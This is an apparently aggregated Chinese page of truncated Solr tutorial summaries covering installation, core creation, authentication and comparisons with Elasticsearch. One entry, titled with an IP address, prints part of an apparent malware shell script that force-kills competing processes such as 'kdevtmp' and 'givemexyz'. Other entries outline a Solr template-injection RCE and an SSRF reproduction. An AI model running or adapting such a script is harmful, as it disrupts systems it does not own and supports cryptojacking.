SOLR - 技术教程文章

Solr Linux 安装

一、Solr 简介 W3C 对solr 的简绍:https://www.w3cschool.cn/solr_doc/ Solr 是采用 Java5 开发,是建立在Apache Lucence 上的流行的、快速的开源企业搜索平台 特征:高级全文搜索能力,由 Lucene 提供支持,可以实现强大的功能匹配,包括短语、通配符、联接、分组 针对大流量进行优化 拥有基于标准的开放式接口 XML 、JSON、HTTP 实时索引Solr 版本发展:版本发布时间说明1.1 2007-01-18 -1.3.0 2008-09-15 lucene2.3;引入拼写...

Solr在Linux中的安装【代码】【图】

1、将Solr打包到tomcat中1.1、将Solr下dist/solr.war放入tomcat中:1.2、将Solr/example/lib/ext 下面所有依赖的包打包到tomcat中:2、配置Solr的数据库2.1、将 Solr/example/ 中的solr下的所有文件放到指定位置: 2.2、通过修改solr工程中的web.xml文件,使其与solrhome关联起来 将<en-entry-value/>标签中的值改为solrhome的绝对路径即可3、安装IK中文分词器3.1、将IK分词器的jar包放入到solr工程 3.2、在WEB-INF目录下创建clas...

Apache Solr Velocity模板注入rce+获取交互式shell【代码】【图】

前言: 官方的poc、exp payload只能获取很低的命令执行权限,甚至有些符号、命令还被过滤了,例如管道符被过滤。并且不能写入、下载文件,不能使用管道符重定向文件。那么我们只能通过获取到交互式shell来执行理想的命令。 0x01影响范围 Apache Solr 5.x - 8.2.0,存在config API版本 0x02环境搭建 vulhub上有几个apache solr的环境,我们使用vulhub上最新的环境“Apache Solr 远程命令执行漏洞(CVE-2019-0193)” 进入到vulhub目...

为什么不能使用CentOS,plesk 9.2.1和tomcat 5.5进行solr 1.3.0安装?【代码】

好的,我只是通过其托管服务提供商为我的客户设置了专用服务器.他们在那里安装了plesk(版本9.2.1),此专用服务器的警告之一是,如果我在控制面板之外执行任何操作(即使用SSH)以执行任何任务,则它们不保证支持该软件组件.很好,因为无论如何我还是愿意使用控制面板来完成它,因为我要做的就是上传一个war文件来安装servlet. 但是,这是问题所在,在安装了最新版本的solr(1.3.0)之后,我在plesk中得到了一个警告图标,它给了我一个模糊的错误,...

llinux下solr7.7.2使用命令创建core

网上搜了许多资料,翻了许多博客,实践后发现都不适用solr7.7.2版本,大多少步骤或者步骤不对,踩坑多次后终于成功,现特此记录下来,以供solr刚接触者参考 需要按步骤进行,否则会创建失败1.进入到/opt/apache/solr-7.7.2/server/solr下,创建文件夹new_coremkdir new_core 2.拷贝lib包到solr下cp /opt/apache/solr-7.7.2/contrib -rf /opt/apache/solr-7.7.2/server/solrcp /opt/apache/solr-7.7.2/dist -rf /opt/apache/solr...

Solr之Windows+Solr5.5.0+JDK1.8+Tomcat8搭建【代码】

http://lucene.apache.org/solr/ http://archive.apache.org/dist/lucene/solr/ 下载solr5.5.0 在D盘新建apache-tomcat-8-solr文件夹,并将下载的Tomcat8压缩包解压到这个目录 D:/apache-tomcat-8-solr 在D盘新建mysolrhome文件夹 D:/mysolrhome 将solr-5.5.0/server/solr/solr.xml拷贝至mysolrhome下 新版本solr不再提供war包 将solr-5.5.0/server/solr-webapp/webapp 完整目录复制到apache-tomcat-8-solr/webapps下并重...

Solr——Windows下部署Solr6.6.0至Tomcat8.5.28【图】

一、window 环境 solr 6.6.3 下载地址 http://archive.apache.org/dist/lucene/solr/ jdk 1.8 tomcat 8.5 本机tomcat环境:E:\tomcat8.5.28 本机解压路径:E:\solr6.6.3 二、部署solr 由于我在本地环境学习使用,所以下载window版本的zip包 1,首先确定安装了jdk 、tomcat、并下载了solr-6.6.3.zip 2,将solr-6.6.3.zip解压,找到E:\Java\components\solr-6.6.3\server\solr-webapp\webapp,并将webapp文件夹复制到tomcat的we...

linux下solr7.5的安装与中文分词【代码】【图】

solr的安装 ??首先要保证我们的服务器是有java环境,这里我用的是jdk1.8,为了方便我们直接从官网下载最新的solr7.5 ??wget http://mirrors.hust.edu.cn/apache/lucene/solr/7.5.0/solr-7.5.0.tgz ??下载完成之后进行解压 tar -zxvf solr-7.5.0.tgz,如果一切顺利的话我们会在目录下看到我们的solr目录 ??完成之后进入solr目录的bin下, cd solr-7.5.0/bin/ 尝试使用命令启动./solr start 会发现启动失败??这是因为使用的是root用户所以...

Centos7:Solr安装,配置与使用【代码】

Centos7:Solr安装,配置与使用 配置jdk环境,安装tomcat 解压solrbin:是脚本的启动目录 contrib:第三方包存放的目录 dist:编译打包后存放目录,即构建后的输出产物存放的目录 docs:solr文档的存放目录 example:示范例子的存放目录 licenses:权限相关的部署solr工程将/example/webapps/下的工程部署到Tomcat下 把solr源码包下的/example/lib/ext目录下的所有的jar包,添加到solr工程中。创建一个solrhome。 源码包下/example/so...

solr的安装 配置(linux)

下载solr5.5: http://archive.apache.org/dist/lucene/solr/5.5.0/创建solr用户: groupadd solr useradd -d /home/solr solr passwd solr创建数据目录(日志、数据等)和安装目录 mkdir -p /var/solr /opt/solr chown -R solr:solr /var/solr chown -R solr:solr /opt/solr解压solr5: tar -zxvf solr-5.5.0.tgz执行安装命令,(root权限运行安装命令): ./solr-5.5.0/bin/install_solr_service.sh solr-5.5.0.tgz -d /var/solr...

Solr空间搜索原理分析与实践【代码】【图】

前言 在美团CRM系统中,搜索商家的效率与公司的销售额息息相关,为了让BD们更便捷又直观地去搜索商家,美团CRM技术团队基于Solr提供了空间搜索功能,其中移动端周边商家搜索和PC端的地图模式搜索功能为BD们的日常工作带来了很大的便利,大大提升了BD们的工作效率。 在本文中,首先对空间搜索的原理进行简单介绍,然后再结合具体的业务场景去分享美团使用空间搜索的实践。 空间搜索原理 空间搜索,又名Spatial Search,基于空间搜索...

solr----下载安装【代码】

转: solr----下载安装 solr 安装在solr5以前solr的启动都有tomcat作为容器,但是从solr5以后solr内部集成jetty服务器,可以通过bin目录中脚本直接启动。就是从solr5以后跟solr4最大的区别是被发布成一个独立的应用。solr下载:https://solr.apache.org/downloads.html管理员权限 cd bin solr start转: solr----下载安装

【小白笔记】ElasticSearch简介以及与Solr的差别

ElasticSearch简介以及与Solr的差别常用环境搜素引擎日志数据分析 ,elk技术。elastic search + logstash + kibana商品价格监控网站BI系统 商业智能。比如说有个大型商场集团 分析一下某区域最近三年的用户消费金额的趋势以及用户群体的组成构成 产出相关的数张报表Elastic Search 和Solr的差别Elastic SearchElasticSerch 实时分布式搜索和分析引擎 它让你以前所未有的速度处理大数据成为可能用于全文搜索 结构化搜索 分析以及将这...

Solr查询描述【图】

q: 查询的关键字,此参数最为重要。例如q=id:1001,默认q=*.* fl: 指定返回哪些字段,用逗号或空格分隔。字段区分大小写。例如fl=id,name,sort start: 返回结果的第几条记录开始,一般分页用,默认0开始 rows: 指定返回结果最多有多少条记录,默认10条。和start结合使用实现分类。 sort: 排序方式,例如 id desc 表示按id进行降序。 高亮设置。 对查询的prod_pname,返回高亮。 wt:返回的数据格式

Solr8.8安全控制,开启基本身份验证【代码】【图】

前言:请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i 背景:solr默认安装没带权限控制,每次进入页面直接操作都有点裸奔的感觉。要使用基本身份验证您必须先创建一个security.json文件,对于基本身份验证,security.json文件必须有一个authentication部分,它定义用于身份验证的类。可以在创建文件时添加用户名和密码(例如:sha256(password+salt) hash),或者可以稍后使用基本验证API添加。 1.示例security.json显...

最全面solrr入门教程【图】

搜索引擎技术系列教材 (一)- solr - Solr 入门教程 步骤 1 : 关于JDK版本至少使用JDK8版本,请下载JDK8或者更高版本: 下载以及配置JDK环境步骤 2 : 什么是 Solr前面学习了Lucene, 现在开始学习Solr。 以连接数据库为类比:Lucene 就相当于JDBC,是基本的用法。 Solr 就相当 Mybatis, 方便开发人员配置,访问和调用。 而且Solr 被做成了 webapp形式,以tomcat的应用的方式启动,提供了可视化的配置界面步骤 3 : 下载 Solr下载区...

solr7的下载安装【代码】【图】

环境准备 JDK以及Tomcat solr下载地址 https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.3/solr-7.7.3.tgz 如果是其它版本可以把链接后的版本号去掉,自行选择安装 1、上传至/app文件夹下 文件夹位置可自定义 2、解压 tar xzf solr-7.7.3.tgz3、将solr的webapp文件夹移动至tomcat的webapp文件夹下 4、将被转移的webapp文件夹,名字改为solr5、在/app/solr-7.7.3目录下,创建solrHome目录 mkdir solrHome 6、将/app/solr-7.7...

Apache Solr SSRF 漏洞(CVE-2021-27905)复现【代码】【图】

漏洞概述 Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。 该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。 影响版本 Apache Solr <= 8.8.1 环境搭建 http://archive.apache.org/dist/lucene/solr/8.8.1/解压完成后,进入bin目录,执行...

Solr 和 elasticsearch 的区别?

共同点 : Solr 和 elasticsearch 都是 基于 Lucene 实现的 不同点 : 1. Solr 利用 zookeeper 进行分布式 管理, 而 elasticsearch 自带分布式协调管理功能 2. Solr 比 elasticsearch 实现更加全面 Solr 官方 提供的功能更多 elasticsearch 本身是注重于 核心功能,高级功能 需要 第三方插件提供showtooltip.com

Solr7.3 Cloud On HDFS搭建【代码】

1 概要SolrCloud实际上是依托zk实现中心化配置管理的solr集群。具有容错、横向扩展和高可用等特性,能够对查询进行自动负载均衡和fail-over处理,适用于大规模的分布式索引和搜索。本文主要介绍最新版本solr on hdfs的搭建过程。2 环境Centos7JDK8ZooKeeperHadoop 2.73 Solr安装通过将solr安装到以下四个节点,使用外部的zk构建solr cloud。emr-worker-1emr-worker-2emr-worker-3emr-worker-4在emr-worker-1节点[下载安装包]。(htt...

HBase应用实践专场-HBase for Solr【图】

HBase检索能力增强思路(1)HBase主表一个rowkey,只能设计一个rowkey=X|Y这种场景。合适场景:X=aX>=a, X>aX<=a,或者X<aX=a and Y = bX=a and Y <= bX=a and Y>=b优点:高并发、高效快速缺点:只有一个rowkey设计,后期业务变化不不能修改rowkey结构检索场景简单,有局限性,一个rowkey必须由前缀X出现才能快速查找,比如上述只提供Y=b的话,依然需要全表扫描(2)Phoenix/自建HBase索引扩展更多rowkey设计,允许更多rowkey=X|Y rowke...

solrda-124.158.4.235【代码】

#!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'dbuse' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'echo' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kdevtmp' | awk '{print $2}' | xargs -I % kill -9 % ps aux | gre...

当Solr遇上Elasticsearch,你该选择谁?【图】

Elasticsearch vs Solr,哪一个更好?他们有什么不同?你应该使用哪一个?且看本文给你指明一个方向!Apache Solr是一个成熟的项目,拥有庞大而活跃的开发和用户社区,以及Apache品牌。Solr于2006年首次发布到开源,长期以来一直占据着搜索引擎领域,并且是任何需要搜索功能的人的首选引擎。它的成熟转化为丰富的功能,而不仅仅是简单的文本索引和搜索; 如分面,分组,强大的过滤,可插入的文档处理,可插入的搜索链组件,语言检测...

大数据运维架构师培训(3):Spark,Flink, Storm,Kafka,Solr

一、风哥大数据运维架构师实战培训专题2.0介绍课程背景:为满足想学习和掌握大数据运维与体系架构的学员,风哥特别设计的一套比较系统的大数据库运维培训课程。 课程目标:本套风哥大数据运维架构师实战培训课程,分5个阶段,分别是大数据Hadoop核心架构运维实战、大数据存储管理与查询分析实战、大数据计算框架与消息搜索实战、大数据安全调度与数据采集实战、大数据集群管理平台运维实战。学完本套风哥大数据课程可以熟悉Hadoop大...